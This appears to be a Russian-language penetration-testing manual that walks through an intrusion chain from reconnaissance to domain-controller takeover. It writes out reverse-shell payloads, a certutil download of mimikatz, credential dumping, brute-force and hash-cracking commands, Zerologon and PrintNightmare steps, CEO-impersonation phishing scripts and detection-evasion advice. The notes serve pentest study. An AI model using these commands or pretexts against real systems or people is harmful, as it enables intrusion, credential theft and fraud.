/pentest

Manual for pentest

MIT LicenseMIT

Этапы, которые проходит хакер для достижения цели:

  1. Разведка во внешней сети
  2. Атаки первичного доступа
  3. Закрепление доступа
  4. Повышение привилегий
  5. Выход за рамки демилитаризованной зоны (ДМЗ) и ограничений сети
  6. Проброс трафика в другие сегменты сети
  7. Разведка в локальной сети
  8. Повышение привилегий в локальной сети
  9. Захват управления инфраструктурой сети
  10. Противодействие обнаружению и реагированию
  11. Дальнейшее развитие

1. Разведка во внешней сети | сбор информации

Цели:

  1. Обнаружение доменных имен, принадлежащих организации
  2. Обнаружение “живых” хостов в сети и составления списка их IP-адресов
  3. Определение актуального статуса сетевых портов узлов из списка
  4. Определение типа и версии операционной системы на исследованных машинах
  5. Определение версий ПО или служб, которые находятся на сетевых портах
  6. Сбор информации об используемых технологиях на веб-сайте

OSINT Framework


Пассивный поиск


Активный поиск

medium

  • сканер доменов и поддоменов
    • Sublist3r
      • python3 sublist3r.py -b -d example.com
    • amass
      • amass enum -v -src -ip -d example.com
  • сканирование портов | сетевые сканеры
    • nmap

      • CHEATSHEET
      • примеры команд
      • --data-length <length> – добавляет случайные байты информации к каждому пакету
      • --randomize-hosts – перемешивает узлы при сканировании
      • --spoof-mac <mac address> – подменяет MAC-адрес
      • -S <IP> – подменяет IP-адрес
      • -Pn – не посылать ping (не сканировать узлы, только порты)
      • -sn - не сканировать порты, только узлы
      • -n – не делать разрешение DNS
      • -sV – определение версий сервисов, найденных на портах
      • -sC - сканирование с использованием стандартных скриптов
      • -open – показывает только открытые порты
      • T5 - скорость сканирования, 5 - максимальная, 3 - стандартная
      • nmap -sS <example.com> – TCP-SYN сканирование узла
      • nmap -sT <example.com> – полное TCP сканирование узла
      • nmap -sU <example.com> – UDP сканирование узла
      • порты
        • -F – быстрое сканирование 100 наиболее популярных портов
        • -p- – сканирование всех портов
        • -p 1-65535 – сканирование всех портов
      • скрипты
        • --script <script> – запуск скрипта
        • find /usr/share/nmap/scripts/ -iname "*<script>*" – поиск скрипта
    • masscan
      • быстрее nmap, но менее точный

2. Атаки первичного доступа | получение доступа к сети

Цели для атаки:

  1. веб-приложения
    • поиск дыр
  2. сетевые сервисы (ftp, ssh, smb, rdp)
    • поиск постоянно доступных сервисов
    • поиск известных уязвимостей
  3. беспроводные сети
    • необходимо быть в зоне действия сети
  4. пользователи сети
    • компрометация через социальную инженерию
      • менеджеры, администраторы, тех. поддержка

Веб-приложения

Лабы по темам на PortSwigger

OWASP Top 10

  • сканер веб-сайтов, ссылок

    • webspyder
      • python3 webspyder.py -u http://example.com
    • katana
      • katana -u https://example.com
    • ffuf
      • принимает словарь и урл
      • ffuf -w YAWR/Web/files_and_directories/fuzz.txt -u https://example.com/FUZZ -fc 403
      • ./ffuf -w ../OneListForAll/onelistforallmicro.txt -u http://localhost:1337/FUZZ -o ./ffuf_out.txt -of 'html'
      • пример с проксированием
        • http_proxy=<p_host>:<p_port> ffuf -w <wordlist.txt> -u http://172.22.0.2/FUZZ -fc 403
  • поиск уязвимостей

    • [Nikto](
    • [sqlmap](
    • [wpscan](
  • Burp Suite

    • перебор значений
    • перехват запросов
      • Repeater
  • Словари

    • [SecLists](
    • [OneListForAll](
    • [FuzzDB](
    • [PayloadsAllTheThings](
    • YAWR

Уязвимости

OWASP Cheat Sheet

  • Обход аутентификации

    • либо полный обход каким-то способом;
    • либо брут, например с помощью Burp Suite.
  • Инъекции команд ОС

    • инъекции, они инъекции. их видно
  • Уязвимости контроля доступа

    • IDOR
    • SSRF
  • Уязвимости разграничения доступа к каталогам

  • SQL-инъекции

    • sqlmap

    • PayloadsAllTheThings - SQL Injection

    • Stacked queries — инъекция SQL-запросов, позволяющая злоумышленнику выполнить несколько запросов за один раз.

    • Union-based — инъекция, использующая оператор UNION для объединения результатов двух запросов, что позволяет злоумышленнику извлекать данные из других таблиц.

    • Error-based — инъекция, основанная на ошибке, которая может возникнуть при выполнении запроса, что позволяет злоумышленнику получать информацию об уязвимости.

    • Boolean blind — инъекция, при которой злоумышленник использует булевы выражения для проверки наличия или отсутствия определенных данных в базе данных.

    • Time-based — инъекция, которая использует задержку выполнения запроса для получения информации о базе данных.

    • Out of band — инъекция, которая не взаимодействует с сайтом напрямую, а использует другой канал для передачи данных, например, отправку электронной почты или HTTP-запросов.

  • Внедрение внешних сущностей XML (XXE)

  • Межсайтовый скриптинг (XSS)

    • Типы

      • Отраженный XSS - эксплойт в запросе (ссылке)
      • Сохраненный XSS - эксплойт приходит из хранилища данных веб-сайта
      • DOM XSS - уязвимость существует в клиентском коде, а не в коде сервера
    • PayloadsAllTheThings - XSS Injection

    • requestbin - для создания эксплойта. сайт, где можно создать временный адрес для отправки запросов и приема ответов

    • помним про

      • SOP

        для обхода используем теги script или img

      • CORS

Сетевые сервисы

  1. поиск доступных сервисов

    • nmap
      • nmap -sT -Pn -p 22,23,21,80,8080,443,445 -sV --open -v example.com
  2. эксплуатация известных уязвимостей

    1. определяем версию, конфигурацию

      изучаем найденные сервисы, полученную информацию об этих сервисов из сканеров

    2. ищем эксплойт

Беспроводные сети

Пользователи сети

  • ресурсы для социальной инженерии

    • отркываем курс на stepik, раздел 7.1, шаг 8
  • smtp

    • Email Permutator+
    • hunter.io
    • swaks
      • swaks --to <email> --from <email> --header "Subject: Test" --body "Test" --server <smtp_server> --port <port> --auth LOGIN --auth-user <user> --auth-password <password> --attach <file>
      • протестировать email
        • swaks -f someone@example.net -t liquidat@example.com --quit-after RCPT
    • msfvenom
      • для генерации обратного шелла (нагрузки) для разных платформ
      • CHEATSHEET
      • msfvenom -p windows/meterpreter/reverse_tcp LHOST= <attacker_ip> LPORT= <attacker_port> -f exe > shell.exe
  • социальная инженерия

    Принципы Чалдини:

    1. Взаимность (Reciprocity): "Люди платят тем же"
      Мы чувствуем обязанность "вернуть долг" людям, от которых мы что-то получили. Это работает следующим образом:

      • Дайте что-то.
      • Через какое-то время (не сразу) попросите что-нибудь взамен: возможно, вы даже получите больше.
      Примеры использования принципа хакером:
          1. Звоним на ресепшен и говорим: "Я вашему генеральному директору только что отправил посылку из [название другой компании] / его заказ из [название сервиса], но у нас оборвался звонок, не могу ему перезвонить — почему-то попадаю на вас. Подскажете его актуальный номер телефона?"
      
          2. Отправляем письмо: "Коллеги, я за вас сделал работу [придумываем, какую], пожалуйста, проверьте её: перейдите по ссылке [адрес ссылки], посмотрите, всё ли корректно?"
      
    2. Обязательность и последовательность (Commitment and consistency)
      Дав обещание, высказав свою точку зрения или заняв определенную позицию, большинство людей предпочитают ее придерживаться. Даже если мы оказались неправы либо наши обещания уже не имеют практического смысла, мы склонны оправдывать свои обязательства или казаться последовательными в своём мнении (часто по факту последовательными не являясь). По сути, мы вынуждены изобретать обоснования для подтверждения того, что сделали правильный выбор.

    Пример использования принципа хакером:
        1. Осторожно "продавить" другого человека на выполнение какого-либо его собственного обещания.
    
    1. Социальное доказательство (Social proof)
      Люди следуют схожему примеру других (особенно когда нет уверенности, что именно надо делать). Люди, как социальные существа, в большой степени полагаются на сигналы от окружающих о том, как им мыслить, чувствовать и действовать.
    Пример использования принципа хакером:
        Пишем человеку: "Все твои коллеги уже сделали [какое-либо стандартное рабочее действие], не сделал только ты, как можно скорее отправь письмо / перейди по ссылке [адрес ссылки] / скачай файл ..."
    
    1. Власть и авторитет (Authority): "Доверьтесь знающему человеку"
      ​​​​​​​Люди склонны подчиняться тем, кто имеет власть, авторитет, знатокам своего дела, даже если они призывают к сомнительным действиям.
    Пример использования принципа хакером:
        Звоним сотруднику какой-либо крупной компании (такой, в которой люди не знаю в лицо своего генерального директора) и говорим: "Привет, это [имя и фамилия генерального директора], хочу, чтобы ты лично сделал вот это: как можно скорее отправь письмо / перейди по ссылке [адрес ссылки] / скачай файл / пришли мне номер телефона ..."
    
    1. Сходство и симпатия (Liking)
      Люди любят тех, кто похож на них, и тех, кто любит их. Если вы хотите влиять на людей, делайте их своими друзьями. Особенно важны подобие и похвала. Подобие по-настоящему единит людей.
    Пример использования принципа хакером:
        т​​​​о же, что и в предыдущем примере, только представляетесь не генеральным директором, а кем-то, кто очень похож по занимаемой позиции в компании / образу мыслей и паттернам поведения на вашего адресата (например, его коллега).
    
    1. Дефицит (Scarcity)
      Возможности кажутся более ценными, желанными, когда они становятся менее доступными. Если у нас есть выбор: получить что-либо сейчас или или получить это же в будущем, мы выбираем — получить сейчас. При этом не факт, что нам этот предмет или эта услуга вообще нужны.
    Пример использования принципа хакером:
        Отправляем письмо: "Мы оформляем подписку на корпоративную программу фитнеса, мест всего 100, пожалуйста, зарегистрируйтесь по ссылке [адрес ссылки] ..."
    

3. Закрепление доступа | сохранение доступа к сети

Проблема:

  • приобретенный первичный доступ не стабилен. Система может перезагрузиться, экслойт написан не достаточно хорошо, администраторы и группа soc может обнаружить вторжение и закрыть дырку. В результате мы теряем доступ

Цель:

  • сохранить доступ к системе, закрепить свой доступ.

Способы закрепления:

  • Получить легитимный доступ к системе
    узнать реальные данные для входа в систему и пользоваться ими
  • Внесение изменений в легитимные механизмы доступа \
    • Создание нового пользователя
    • Изменение учетных данных пользователя
    • Добавление ключей доступа
    • Сброс до стандартных паролей и учетных данных в сервисах
    • Открытие механизмов отладки в службах
  • Внесение изменений в сервисы и внешние программы в ОС
    пример: поиск проблем конфигурации любых, в том числе внутренних сервисов в ОС и вшить свои нагрузки в них, которые будут запускаться при старте системы
    • Внедрение бэкдоров в сервисы ОС
    • Внедрение уязвимого поведения в сервисы ОС, для последующей эксплуатации уязвимостей
    • Запуск внешних программ для получения последующего контроля
  • Внесение изменений в ядро ОС и предустановленные службы, работающие на уровне ядра

Получить легитимный доступ к системе

  • Находим в системе пароли и секерты

    • [LinPeas](
  • Восстанавливаем пароль из хеша

    • hashcat
      • hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
    • john the ripper
      • через unshadow и john
        unshadow /etc/passwd /etc/shadow > unshadowed.txt
        john unshadowed.txt
    • crackstation
  • Брут паролей

    • hydra
      • hydra -L ~/wordlists/user.txt -P ~/wordlists/pass.txt 192.168.1.5 smb -V - брут smb
    • patator - инструмент для автоматизации атак методом перебора в онлайн (т.е. с онлайн протоколами)
      • patator ssh_login host=192.168.0.1 user=admin password=FILE0 0=/путь/к/файлу_с_паролями.txt -x ignore:fgrep='Permission denied'
    • nmap
      • nmap --script ssh-brute --script-args userdb=usernames.txt,passdb=passwords.txt <target>
  • Восстановление пароля из памяти

Инструменты:
PayloadsAllTheThings - Linux - Persistence

  • RAT (Remote Access ToolKit) - инструменты для удаленного управления системой

4. Повышение привилегий

  • Поиск ошибок администрирования ОС
  • Поиск возможности выполнять действия от привелегированных сервисов внутри системы
  • Атаки на ядро ОС (его устаревшую версию) или механизмы, которые позволят выполнять действия от имени ядра ОС

Cпособы:

  • sudo -l - показывает что можно делать с sudo и как
    • /etc/sudoers - файл, в котором описаны правила для sudo
    • sudo -u <user> <command> - выполнить команду от имени другого пользователя
    • visudo - редактирование файла sudoers
  • SUID bit позволяет выполнение программы с правами хозяина файлов
    • find / -perm -u=s -type f 2>/dev/null - поиск файлов с SUID
  • чтение истории команд
    • cat ~/.bash_history
    • cat ~/.zsh_history
  • ошибки в cron
    • cat /etc/crontab
    • ls -la /etc/cron*

Инструменты:

  • GTFOBins - список утилит, которые можно использовать для повышения привилегий
  • LinPeas - скрипт, нацеленный на сканирование ОС
  • Linux Exploit Suggester 2 - скрипт, нацеленный на поиск уязвимостей в ядре ОС
  • pspy - утилита для мониторинга процессов в системе без root-прав

5. Выход за рамки демилитаризованной зоны (ДМЗ) и ограничений сети

Для того, чтобы компрометировать сеть ДМЗ, надо понимать, как она устроена:

  • из каких узлов состоит
  • какие возможности даёт каждый из узлов
  • как устроены протоколы взаимодействия

Цель:

  • найти доступ к локальной сети заказчика

Способы:

  1. Компрометация узлов внутри сети DMZ, имеющих доступ за рамки сети
  2. Компрометация сетевого оборудования и переконфигурация устройств и списков контроля доступа
  3. Компрометация клиентов, которые заходят на узлы в DMZ сети
  4. Поиск "лазеек" (отдельных сегментов, отдельных протоколов), которым предоставлен доступ за рамки сети DMZ
    • Для обнаружения лазеек достаточно просканировать диапазон локальной сети на доступность узлов или отдельных портов и протоколов при помощи nmap или masscan.
      Обычно локальные сети компаний используют адресацию:
      • 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
        Мы можем проверить доступность отдельных портов TCP/UDP или целых узлов сети:
      • nmap -Pn -n -sU -p53 -T5 10.0.0.0/8 (сканирование может занимать вплоть до суток)
      • nmap -Pn -n -sS -p22 -T5 10.0.0.0/8
      • nmap -sn -n -T5 --disable-arp-ping 10.0.0.0/8

PayloadsAllTheThings - Methodology and Resources - Network Discovery

Техники:

  • Сканирование сети
    • цели
      • Выявление уязвимых сервисов на новых узлах
        • SSH (22), FTP (21), SMB/RPC (135/445), MSSQL (1433), PostgreSQL (5432), Redis (6379), Web (80,443)
      • Выявление доступных маршрутов трафика до узлов во внутренней сети компании
        • сканирование собственной локальной сети (172.16.0.0/12 или 192.168.0.0/16)
        • сканирование локальной сети организации 10.0.0.0/8
      • Обнаружение доступных сервисов сетевого оборудования
        • Cisco Smart Install (4786), Web (80,443), Cisco UCS Director Express for Big Data + VNC (8787/ 599), SSH (22), Mikrotik Neighbor Discovery Protocol (5678), Winbox (8291) и пр.
    • Инструменты
      • nmap
        • nmap -n -sn -T5 192.168.0.0/16
        • nmap -n -Pn -PS 22,23,445,135,80,8080 192.168.0.0/16
        • nmap -n -Pn -T5 --top-ports=1000 -sV -iL scope.txt - сканирование по списку выявленных узлов
  • Анализ трафика
    • цели
      • Широковещательные и мультикаст-пакеты протоколов: mDNS, DHCP, LLMNR, NBT-NS, NDP for IPv6, RTP
      • Протоколы, которые впоследствии могут быть использованы для атак: DTP,STP,CDP, и пр.
      • Сетевые соединения скомпрометированного узла с узлами остальной сети
    • Инструменты
      • Wireshark
      • tcpdump
        • sudo tcpdump -i eth0 -nn -s0 -w test.pcap
          • -nn - не разрешать имена хостов и портов (для ускорения)
          • -s0 - захватывать весь пакет (для захвата всего трафика)
      • Команда для переноса трафика из tcpdump с удаленного узла, в интерфейс wireshark на локальном узле
        • ssh root@10.0.5.11 tcpdump -i any -s0 -nn -w - | wireshark -k -i -
  • Проведение MitM атак
    • MiTM CheatSheet
    • спуффинг - подмена
    • сниффинг - перехват
    • атаки
      • ARP spoofing
        • bettercap - старая версия
          • bettercap -T 10.10.10.10 -X
            • -X - запуск в интерактивном режиме
        • bettercap2 - новая
      • MiTM 6 | атаки на IPv6

6. Проброс трафика в другие сегменты сети

Цель:

  • найти наиболее надежный способ проброса сетевого трафика из той позиции, в которой мы находимся, в локальную сеть компании

Ориентиры:

  • Возможности здесь и сейчас из текущей позиции
  • ПО: можем ли поставить другое ПО для достижения цели?
  • Какие протоколы мы можем использовать?

Способы:

  1. набор легитимных протоколов:
    • использование протоколов, которые используются внутри сети
    • доустановка ПО для работы с протоколами
  2. техники, позволяющие скрывать факт проброса трафика и обходить ограничения:
    • использование протокола DNS (dns-tunneling)
    • использование специальных прикладных программ

Важно использовать инструменты, которые:

  • Шифруют трафик
  • Обеспечивают надежное соединение
  • Обеспечивают высокую скорость соединения

CHEATSHEET

Инструменты:

  • Туннели
    • Проксирование
      • gost - проксирование трафика (создание сетевых соединений между машинами, т.е. туннели)
        • Documentation
        • gost -L=:8080 - стандартный HTTP/SOCKS5 прокси
        • gost -L=admin:123456@localhost:8080 - прокси с аутентификацией
      • socat - это полноценный прокси для двунаправленной передачи данных
        • P2P форвардинг на “джамп” сервере
          • socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
        • обратный шелл
          • attacker > socat TCP-LISTEN:1337,reuseaddr FILE:'tty',raw,echo=0 — поднимает сокет 1337 и берет/кладет туда данные в режиме терминала
          • victim > socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane — присоединяется к сокету по адресу атакующего и отправляет все данные из него на исполнение
    • Другие туннели
      • ssh
        • port2port (проброс портов)
          • ssh -R 0.0.0.0:10080:127.0.0.1:80 user@10.0.1.3 — при подключении к SSH на узле 10.0.1.3 откроется публичный порт 10080, который будет ссылаться на локальный порт 80 (который доступен только с самого узла)
          • ssh -R 0.0.0.0:10033:10.0.2.5:1433 user@10.0.1.3 — при подключении к SSH на узле 10.0.1.3 откроется публичный порт 10033, который будет ссылаться на порт 1433 удаленного узла 10.0.2.5
          • ssh -L 10080:10.0.3.6:80 -N -f -l user@10.0.1.3 — при подключении к SSH на узел 10.0.1.3 на вашем локальном компьютере откроется порт 10080, который будет ссылаться на порт 80 адреса 10.0.3.6 узла стоящего в одной сети с узлом жертвой (10.0.1.3)​​
        • Port2HostNet
          • ssh -f -N -D 4444 user@10.0.0.1
            1. Устанавливается SSH-соединение с удаленным хостом по адресу 10.0.0.1, используя имя пользователя user
            2. Опция -f заставляет SSH-клиент запуститься в фоновом режиме
            3. Опция -N указывает на то, что SSH-клиент не должен выполнять какие-либо команды после подключения к удаленному хосту
            4. Опция -D 4444 создает SOCKS-прокси на локальной машине, который слушает порт 4444: все запросы на сетевые ресурсы будут перенаправляться через этот прокси на удаленный хост по зашифрованному каналу SSH (поддерживается Socks4 и Socks5)
      • Bash
        • port2Port
          • mknod backpipe p; — создание именованного конвейера с правилом FIFO
          • nc -lvnp 443 0<backpipe | nc -lvnp 3333 1&>backpipe — запуск прослушивания порта 443 и проверка конвейера к потоку ввода, привязка потока ввода конвейера к потоку вывода запущенного порта 3333
        • Связывание портов локального и удаленного серверов
          • exec 3<>/dev/tcp/192.168.1.2/443 — создание файлового дескриптора №3 и связывание потоков ввода-вывода портом 443 внешнего узла 192.168.1.2
          • exec 4<>/dev/tcp/0.0.0.0/3333 - связывание дескриптора 4 с портом самого узла (“Джамп сервера”)
          • cat <&3 &>&4 & — передача в фоновом режиме данных потока ввода из файлового дескриптора №3 на поток вывода файлового дескриптора №4
          • cat <&4 &>&3 & - передача ввода из д.4 в вывод д.3
      • DNS-tunneling
        • DNSCAT2 — инструмент, предназначенный для создания зашифрованного командно-контрольного канала (C&C) через протокол DNS, который является эффективным туннелем практически из любой сети
        • Iodine — программное обеспечение, позволяющее туннелировать данные IPv4 через сервер DNS сервер: это может быть полезно в различных ситуациях, когда доступ в интернет исключен, но DNS-запросы разрешены
      • ICMP-tunneling
        • Hans — делает возможным туннелирование IPv4 через эхо-пакеты ICMP, поэтому его можно назвать туннелем для пинга. Это может быть полезно в ситуации, когда доступ в Интернет перекрыт, но пинги разрешены.
          • ./hans -s 10.1.2.0 -p password — это создаст новое tun-устройство и назначит ему IP 10.1.2.1
          • ./hans -c server_addess -p password — это позволит подключиться к серверу по адресу "server_addess", создать новое tun-устройство и назначить ему IP из сети 10.1.2.0/24
          • Теперь вы можете запустить прокси на сервере или позволить ему действовать как маршрутизатор и использовать NAT, чтобы разрешить клиентам доступ в Интернет.

7. Разведка в локальной сети | компрометация Windows-машин

Цель:

  • найти как можно больше узлов сети Windows и произвести на них атаки первичного доступа

Способы поиска Windows машин:

  • Сканирование портов и поиск тех, что используются только Windows
  • Анализ трафика

Сервисы, принадлежащие машинам Windows:

  • All Windows Services
  • 88 - kerberos (Kerberos Key Distribution Center) — наличие этого порта помогает определить контроллер домена в сети
  • 135 - MSRPC (Microsoft RPC[6]) — используется в приложениях «клиент-сервер» Microsoft (например, Exchange), позволяет выполнять различные операции в OS при наличии учетных данных
  • 137 - NETBIOS-NS (NetBIOS Name Service) — позволяет узнать доменное имя машины и ее MAC адрес
  • 389 - LDAP (Lightweight Directory Access Protocol) — этот порт может дать различные возможности, как по подбору учетных данных, так и по получению доступа к LDAP через эксплуатацию уязвимостей (пример тут)
  • 445 - SMB (Server Message Blocks over IP) — протокол SMB имеет ряд уязвимостей и недостатков в различных версиях, которые могут приводить к выполнению кода, захвату пользовательской сессии, получению доступа к данным на файловых серверах
  • 1433 - MSSQL (Microsoft SQL Server) — сервис MSSQL позволяет получить доступ к управлению БД и, что более важно, выполнить произвольный код на машине Windows, если у нас есть аккаунт для доступа к БД
  • 3389 - RDP (Remote Desktop Protocol) — служба удаленных рабочих столов также имеет в истории различные уязвимости, приводящие к выполнению произво
  • ...
  • nmap -Pn -n -sT -p 88,135,137,389,445,1433,3389 -sV -sC --open -iL list-of-machines.txt
  • nbns || llmnr || mdns - фильтры для поиска Windows-машин в трафике Wireshark

Cпособы проведения атак на Windows машины:

  1. Атаки на известные уязвимости в Windows машинах и их сервисах
  2. Атаки методом перебора пользовательских учетных записей
  3. MITM-атаки: перехват трафика

Способы:

  1. Наиболее популярные уязвимости Windows:
    • CVE-2008-4250 (MS08-067)
    • CVE-2017-0143 (MS17-010)
    • CVE- 2019-0708 (BlueKeep)
    • другие
  2. Перебор паролей:
    • [CrackMapExec](
    • [Hydra](
    • атака
      • PasswordSpraying - атака на множество учетных записей с использованием одного пароля
  3. MITM-атаки:
    • Responder - NBT-NS и LLMNR Spoofing
      • Запустим Responder
        • sudo responder -I eth0
      • Перехватив NTLMv2 хеш, положим их в файл tickets.txt и попробуем восстановить пароли аккаунтов, отправивших нам хеши
        • hashcat -a 0 -w 4 -m 5600 tickets.txt /usr/share/wordlists/rockyou.txt
      • После получения пароля воспользуемся утилитой evil-winrm для получения удобного доступа к терминальной оболочке сервера:
        • evil-winrm -i [ip] -u [username] -p [password]

8. Повышение привилегий на узлах локальной сети

Цель:

  • получить как можно больше данных, которые будут переиспользованы по всей сети Active Directory

Способы:

  1. Поиск и извлечение секретов из ОС Windows
    • взлом программ (пр. менеджеров паролей)
    • секреты в истории команд
    • извлечение учетных данных из оперативной памяти процессов
    • извлечение хешей паролей из файлов
      • meterpreter hashdump
        • Username:RID:LM-hash:NTLM-hash::: - формат хэша из файла SAM (С:\Windows\System32\config\SAM)
          • admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
          • пустой LM-hash: aad3b435b51404eeaad3b435b51404ee
          • пустой NTLM-hash: 31d6cfe0d16ae931b73c59d7e0c089c0
    • пример команды поиска паролей
      • cd C:\ & findstr /s /p /i /n /m "password" *.xml *.ini *.txt *.config
  2. Эксплуатация уязвимостей и особенностей конфигурации различных сервисов ОС Windows
  3. Эксплуатация известных уязвимостей в ОС Windows
    • Security Update Guide
    • примеры
      • MS17-010 - уязвимость в SMBv1
      • InstallerFileTakeOver - Уязвимость в установщике Windows
      • PrintNightmare - Уязвимость в Windows Print Spooler
      • MS10-092 - Уязвимость в Windows Task Scheduler
      • MS16_014 - Уязвимость в Windows Group Policy
      • MS16-032 - Уязвимость в Windows Secondary Logon

Active Directory Methodology

Инструменты:

  • nmap - сканирование портов

    • nmap -Pn -n -F -sV --open <target>
  • pаtator - автоматизированный брут через выбранный протокол

    • patator ssh_login host=<target> user=<known_login> password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'
  • WinPEAS - сканирует ОС Windows на наличие уязвимостей, миссконфигураций

  • xfreerdp - RDP-клиент

    • xfreerdp /u:username /p:password /v:target
  • msfconsole

    • use exploit/multi/handler - запуск обработчика для обратного шелла
    • set payload windows/x64/shell_reverse_tcp - выбор пейлоада
  • Mimikatz

    • инструмент, реализующий функционал Windows Credentials Editor и позволяющий извлекать учетные данные пользователей Windows
    • извлекает пароли и хеши из оперативной памяти
    • Руководство habr
    • Руководство kali.tools
    • необходимы права SeDebugPrivilege, которые есть у администратора
    • как загрузить
      • Для загрузки инструмента mimikatz необходимо перейти в папку с правами на запись, например в C:\Windows\System32\spool\drivers\color
      • Далее следует загрузить mimikatz на целевую машину.
        Это можно сделать утилитой, позволяющей скачивать файл по сети certutil: certutil -urlcache -split -f http://10.10.14.16/mimikatz.exe mimikatz.exe
      • mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
        • privilege::debug - получение привилегии SeDebugPrivilege
        • sekurlsa::logonpasswords - извлечение паролей из памяти
  • msfvenom

    • пример генерации нагрузки для случая AlwaysInstallElevated
      • msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 -f msi -o rev.msi - даст msi-файл с реверс-шеллом
      • msiexec /quiet /qn /i rev.msi - запуск установщика msi-файла из командной строки
    • пример генерации нагрузки для PrintNightmare
      • в списке процессов ps находим spoolsv.exe
      • проверяем доступ к данному сервису по TCP порту
        • rpcdump.py @10.10.10.175 | egrep 'MS-RPRN|MS-PAR'
          • rpcdump.py - скрипт для получения информации о доступных удаленных процедурах на хосте
      • генерируем нагрузку
        • msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=1337 -f dll -o /tmp/print.dll
      • эксплуатируем с помощью эксплойта PrintNightmare
        • python3 ./CVE-2021-1675.py example.local/Alex:HappyHacking@192.168.0.134 '\\192.168.0.177\share\print.dll'
  • Удаленное исполнение кода на узле

    • psexec
      • psexecsvc.exe - служба, которая позволяет запускать процессы на удаленной машине
      • psexec.exe -u admin \\target cmd - запуск командной строки на удаленной машине

9. Захват управления инфраструктурой сети | Захват контроллера домена

Контроллер домена:

  • Управляет наибольшим количеством узлов организации
  • Позволяет контролировать пользователей, машины, сервисы, сети, сессии любому из администраторов домена

Основная задача:

  • Проанализировать защищенность контроллера домена и найти в нем уязвимости или найти ресурсы, которые позволяют им управлять

Способы захвата контроллера домена:

  1. Эксплуатация уязвимости узла контроллера домена
  2. Поиск специальных привелегий, которые могут быть оставлены в любом из узлов локальной сети и позволят упрвлять контроллером домена
  3. Возможность экплуатации уязвимостей служб управления сертификатами, удаленными рабочики столами внутри доменной инфраструктуры

Примеры уязвимостей:

  • PrinterNightmare
  • ZeroLogon
  • SamAccountNameSpoofing
  • MS14-068
  • Drop The MIC (Во взаимодействии DC с DC) и пр. вплоть до MS17-010

Важные данные при сборе информации (разведке в домене):

  • Домен
  • Доменные политики
  • Домен контроллеры
  • Пользователи
  • Компьютеры
  • Группы
  • Групповые политики (GPO)
  • Организационная единица (OU)
  • Список управления доступом (ACL)
  • Доверительные отношения (Trusts)
  • Лес
  • Сессии пользователей
  • DNS

Инструменты:

  • Zerologon
    • уязвимость, позволяющая атакующему получить доступ к контроллеру домена
    • CVE-2020-1472
    • msfconsole
      • use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
  • secretsdump.py
    • скрипт, позволяющий извлечь хеши паролей пользователей из контроллера домена
    • на кали: impacket-secretsdump
    • secretsdump.py -no-pass -just-dc-user administrator '<domain>/<computer_name>$ @<domain_ip>'
  • impacket-wmiexec
    • удаленное подключение к wmi для управления windows-машиной (доменным контроллером)
    • impacket-wmiexec -hashes <hash> '<domain>/<username>@<domain_ip>'
  • impacket-netview
    • получение информации о сессиях на машине
      • impacket-netview -target <ip> username (потребует пароль)
    • выгрузить все машины из домена и получить информацию о всех актуальных сессиях в них
      • impacket-netview domain.local/username
  • PowerSploit
  • PowerView
  • Bloodhound
    • использует теорию графов для выявления скрытых и часто непредусмотренных взаимосвязей в среде Active Directory или Azure
    • Пентестеры могут использовать BloodHound для легкого выявления очень сложных путей атаки, которые иначе невозможно было бы быстро определить
  • ldapdomaindump
    • инструмент для сбора информации о домене из LDAP
    • ldapdomaindump <domain_ip> -u '<domain>\<username_for_auth>' -p '<LM-hash:NTLM-hash>' -o <output_dir>

Инструменты разведки в Active Directory:

  • Для работы с ОС Windows:
    • Ручной анализ: ADModule, PowerView, RSAT, ADExplorer, LdapAdmin, ADIDNSRecords
    • Автоматизированный анализ: ADExplorer, Bloodhound, ADRecon
  • Для работы с ОС Linux:
    • Ручной анализ: ldapper, ldapsearch, windapsearch, rpcclient, adidnsdump, jxplorer, ldeep
    • Автоматизированный анализ: bloodhound-python, enum4linux, ldapdomaindump

Реестр:

  • reg save <key> <out_file> - сохранение ключа реестра в файл
    • HKLM\SYSTEM - хранит информацию для расшифровки реестра SAM
    • HKLM\SAM - хранит хэши пользователей
    • HKLM\SECURITY - хранит хэши kerberos ключей
  • lget <file> - загрузка файла с удаленной машины
  • получить данные из сохраненных файлов
    • impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

Восстановить пароль после ZeroLogon:

  • получаем исходный пароль из реестра в виде хекса от аккаунта MACHINE.ACC
  • msfconsole use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
    • ставим те же параметры
    • set ACTION RESTORE
    • set PASSWORD <hex_password>

10. Противодействие обнаружению и реагированию

Вопросы:

  • Кто может нас обнаружить?
  • Кто будет нас искать?

Средства обнаружения:

  • SOC - команда по обнаружению и реагированию на инциденты
  • Активные средства защиты
    • IDS/IPS
    • Антивирусы
    • XDR
    • AMSI - противодействие бесфайловому исполнению
    • ...

Команда защиты может строить ловушки honeypot:

  • они привлекают атакующих и позволяют обнаруживать их
  • пример
    Веб-сервер, который не имеет имени и фактически никому не известен, не должен, соответственно, иметь и гостей, заходящих на него, поэтому все лица, которые пытаются на него проникнуть, являются потенциальными взломщиками. Honeypot собирает информацию о характере поведения этих взломщиков и об их способах воздействия на сервер. После чего специалисты по реагированию на инциденты разрабатывают и реализуют стратегии отражения атаки злоумышленника.

Цель:

  • скрытно выполнять действия в сети заказчика, чтобы не потерять уже полученный доступ

Принципы противодействия обнаружению и реагированию:

  1. Снижеине активности в сети
    • Запреты:
      • Исключить все возможные типы сканирования портов, т.к. этот процесс достаточно легко детектируется даже через сканирование портов на одном узле
      • Ответить, почему выбранный нами сервис точно не Honeypot
      • Исключить совершение атак типа "Man in The Middle"
    • Вектор:
      • Обращаться только к тем сервисам, с которыми работают пользователи в сети.
      • Исследовать DNS имена в трафике и в домене, пытаясь обнаружить наиболее интересные машины в сети.
      • Исследовать ARP запросы в сети, для того чтобы пассивно собирать информацию об участниках сети.
